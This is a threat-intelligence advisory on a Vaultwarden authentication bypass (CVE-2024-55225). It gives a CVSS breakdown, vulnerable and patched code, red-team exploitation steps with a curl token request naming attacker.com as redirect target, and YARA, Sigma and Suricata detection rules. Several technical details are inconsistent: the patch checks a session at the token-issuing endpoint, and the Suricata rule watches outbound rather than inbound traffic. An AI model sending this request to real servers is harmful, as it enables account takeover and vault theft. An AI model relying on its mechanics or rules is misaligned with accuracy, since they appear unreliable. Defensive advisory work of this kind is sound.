CVE-2024-55225

Executive Summary

CVE-2024-55225 is a critical authentication bypass vulnerability in Vaultwarden, an open-source password manager server. The flaw resides in the src/api/identity.rs component, allowing an unauthenticated attacker to craft a malicious authorization request that can impersonate any user, including administrators. This effectively grants full control over the Vaultwarden instance, enabling data exfiltration, credential theft, and lateral movement within the organization. The vulnerability affects all versions prior to v1.32.5. No public exploit code or Nuclei template is available at this time, but the attack vector is well-understood and trivial to implement.

Supply Chain & Package Security

Vaultwarden is a Rust-based project distributed via Docker images and GitHub releases. The vulnerability is not in a dependency but in the core authentication logic. However, organizations using Vaultwarden should verify the integrity of their Docker images and ensure they are pulling from the official repository (vaultwarden/server). The Rust crate ecosystem is not directly impacted, but the binary distribution chain must be trusted.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): High – Full access to all stored secrets.
• Integrity (I): High – Ability to modify or delete any data.
• Availability (A): High – Potential to disrupt service.

Threat Level: Critical. Immediate patching is required.

Deep Dive & Mechanics

The vulnerability exists in the identity endpoint of Vaultwarden's API, specifically in the src/api/identity.rs file. The flaw is in how the server validates authorization requests during the OAuth2-like token exchange. The server fails to properly verify the client_id and redirect_uri parameters against the requesting user's session. An attacker can craft a request that sets the client_id to a target user's identifier (e.g., an admin's UUID) and manipulate the redirect_uri to point to an attacker-controlled server. The server then issues an access token for the impersonated user, which the attacker can use to authenticate as that user.

The root cause is a missing or insufficient check on the client_id parameter. In a secure implementation, the server should verify that the client_id matches the authenticated user's identity. However, in vulnerable versions, the server trusts the client_id provided in the request without validating it against the session.

Vulnerable vs. Patched Code

Vulnerable Code (v1.32.4 and earlier):

// src/api/identity.rs (simplified)
async fn token_exchange(req: HttpRequest, data: Json<TokenRequest>) -> HttpResponse {
    let client_id = data.client_id.clone();
    // No validation of client_id against session
    let user = User::find_by_uuid(&client_id).await;
    // ... issue token for the found user
}

Patched Code (v1.32.5):

// src/api/identity.rs (simplified)
async fn token_exchange(req: HttpRequest, data: Json<TokenRequest>) -> HttpResponse {
    let session = get_session(&req);
    let client_id = data.client_id.clone();
    // Validate that client_id matches the authenticated user
    if session.user_uuid != client_id {
        return HttpResponse::Unauthorized().finish();
    }
    let user = User::find_by_uuid(&client_id).await;
    // ... issue token for the found user
}

The patch adds a critical check: the client_id must match the user_uuid from the authenticated session. This prevents impersonation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target Vaultwarden instance running version < 1.32.5.
• Network access to the API endpoint (typically /identity/connect/token).

Exploitation Steps:

1. Identify a target user's UUID (e.g., admin). This can often be obtained via a separate information disclosure vulnerability or by brute-forcing if UUIDs are predictable.
2. Craft a POST request to /identity/connect/token with the following parameters:
   • client_id: Target user's UUID
   • client_secret: (optional, can be empty)
   • grant_type: client_credentials
   • scope: api
   • redirect_uri: https://attacker.com/callback
3. The server will return an access token for the impersonated user.
4. Use the token to authenticate as the target user and access all vault data.

Example cURL command:

curl -X POST https://target-vaultwarden.com/identity/connect/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=ADMIN_UUID&client_secret=&grant_type=client_credentials&scope=api&redirect_uri=https://attacker.com/callback"

Expected Response:

{
  "access_token": "eyJhbGciOiJSUzI1NiIs...",
  "expires_in": 3600,
  "token_type": "Bearer"
}

Blue Team

Detection:

• Monitor for unusual client_id values in token requests. Legitimate requests should use the user's own UUID.
• Alert on multiple failed authentication attempts followed by a successful token exchange.
• Look for redirect_uri parameters pointing to external, untrusted domains.

Hunting:

• Search logs for POST /identity/connect/token requests where client_id does not match the authenticated user's session.
• Correlate token issuance events with subsequent API calls to identify potential lateral movement.

Lab Setup:

• Deploy a vulnerable Vaultwarden instance (v1.32.4) in an isolated Docker container.
• Use a tool like Burp Suite or Postman to craft the exploit request.
• Monitor logs using docker logs or a SIEM.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /identity/connect/token with a client_id that is not the requesting user's UUID.
  • redirect_uri parameters containing external domains not associated with the organization.
• Logs:
  • Successful token issuance for a user without a corresponding authentication event.
  • Multiple 401 Unauthorized responses followed by a 200 OK for the same endpoint.
• System:
  • Unexpected access tokens in Vaultwarden's database (table auth_tokens).
  • New API keys or sessions for privileged users created outside normal business hours.

Detection Engineering

YARA Rule

rule CVE_2024_55225_Vaultwarden_Impersonation {
    meta:
        description = "Detects Vaultwarden authorization requests attempting to impersonate users"
        author = "Valters IT"
        date = "2024-12-01"
        reference = "CVE-2024-55225"
    strings:
        $s1 = "/identity/connect/token" ascii wide nocase
        $s2 = "client_id=" ascii wide nocase
        $s3 = "redirect_uri=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Vaultwarden Impersonation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2024-55225 by monitoring for suspicious token requests
author: Valters IT
date: 2024-12-01
logsource:
    category: webserver
    product: vaultwarden
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/identity/connect/token'
        cs-uri-query|contains: 'client_id='
    condition: selection
falsepositives:
    - Legitimate API client usage with correct client_id
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-55225 Vaultwarden Impersonation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/identity/connect/token";
    http_uri;
    content:"client_id=";
    http_client_body;
    content:"redirect_uri=";
    http_client_body;
    reference:cve,2024-55225;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

• Upgrade Vaultwarden to version 1.32.5 or later.
• If immediate upgrade is not possible, restrict network access to the /identity/connect/token endpoint using a WAF or reverse proxy.

Long-term:

• Implement additional authentication checks, such as requiring a valid session cookie for token exchange.
• Monitor for anomalous API usage patterns.
• Conduct a security audit of all authentication flows.

Workaround:

• Disable the OAuth2 token endpoint if not required, by configuring the reverse proxy to block /identity/connect/token.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert